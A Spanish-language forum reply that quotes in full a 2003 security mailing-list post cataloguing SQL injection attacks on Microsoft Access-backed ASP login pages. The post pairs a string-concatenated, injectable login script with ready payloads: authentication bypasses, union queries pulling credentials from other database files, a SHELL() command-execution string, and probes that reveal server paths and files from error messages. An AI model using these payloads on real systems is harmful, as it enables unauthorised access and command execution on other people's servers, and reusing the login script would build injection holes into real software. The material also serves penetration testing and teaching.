aaah es access, porque no usas mssql o sqlite?
talves este documento te pueda ayudar:
http://seclists.org/pen-test/2003/May/74
talves este documento te pueda ayudar:
http://seclists.org/pen-test/2003/May/74
CitarAccess SQL Injection From: "Brett Moore" <brett.moore () security-assessment com>
Date: Mon, 19 May 2003 16:25:24 +1200
============================================================================
% Access SQL Injection
% brett.moore () security-assessment com
============================================================================
Nothing new here, move along..
****************************************************************************
% MS Access system tables
****************************************************************************
MSysACEs
MSysObjects
MSysQueries
MSysRelationships
****************************************************************************
% MS Access command execution, (older versions only)
****************************************************************************
[Auth Page Script]
user = request("user")
pass = request("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open dsn
SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
rs.open sql,conn
if rs.eof and rs.bof then
' Access Denied
else
' Access Allowed
end if
[Auth Page Bypass]
user = |SHELL("cmd.exe /c dir > c:\test.txt")|
pass = test
****************************************************************************
% Auth Bypass, Basic
****************************************************************************
[Auth Page Script]
user = request("user")
pass = request("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open dsn
SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
rs.open sql,conn
if rs.eof and rs.bof then
' Access Denied
else
' Access Allowed
end if
[Auth Page Bypass]
user = ' or '1'='1
pass = test
****************************************************************************
% Auth Bypass, Simple
****************************************************************************
[Auth Page Script]
user = request("user")
pass = request("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open dsn
SQL = "SELECT user,pass FROM users where user='"& user & "'"
rs.open sql,conn
if rs.eof and rs.bof then
' Access Denied
else
if (rs("pass") = pass) then
' Access Allowed
else
' Access Denied
end if
end if
[Auth Page Bypass Using Shares]
user = ' union select name,password from table1 in '\\share\test\test.mdb
pass = password that is set in \\share\test\test.mdb
[Auth Page Bypass Local mdbs]
user = ' union select '0test','0test' from customers in
'C:\winnt\Help\iisHelp\iis\htm\tutorial\eecustmr.mdb'
pass = 0test
[Union Notes]
Remeber when using unions the sort order can affect the first record
returned.
****************************************************************************
% System Path Disclosure
****************************************************************************
[Sql String]
user = test' union select names from msysobjects in '.
[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine
cannot
open the file 'C:\WINNT\system32'. It is already opened exclusively by
another user,
or you need permission to view its data.
****************************************************************************
% Verify File Exists
****************************************************************************
[Sql String - non-existant file]
user = test' union select name from msysobjects in '\proof
[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC Microsoft Access Driver] Could not find file 'C:\proof'.
[Sql String - existant]
user = test' union select name from msysobjects in '\proof.txt
[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC Microsoft Access Driver] Unrecognized database format
'C:\proof.txt'.
****************************************************************************
% Verify Path Exists
****************************************************************************
[Sql String - non-existant path]
test' union select name from msysobjects in '\nopath\sqlerr
[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC Microsoft Access Driver] 'C:\nopath\sqlerr' is not a valid
path.
Make sure that the path name is spelled correctly and that you are
connected to the
server on which the file resides.
[Sql String - existant path]
user = test' union select name from msysobjects in '\inetpub\sqlerr
[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC Microsoft Access Driver] Could not find file
'C:\inetpub\sqlerr'.
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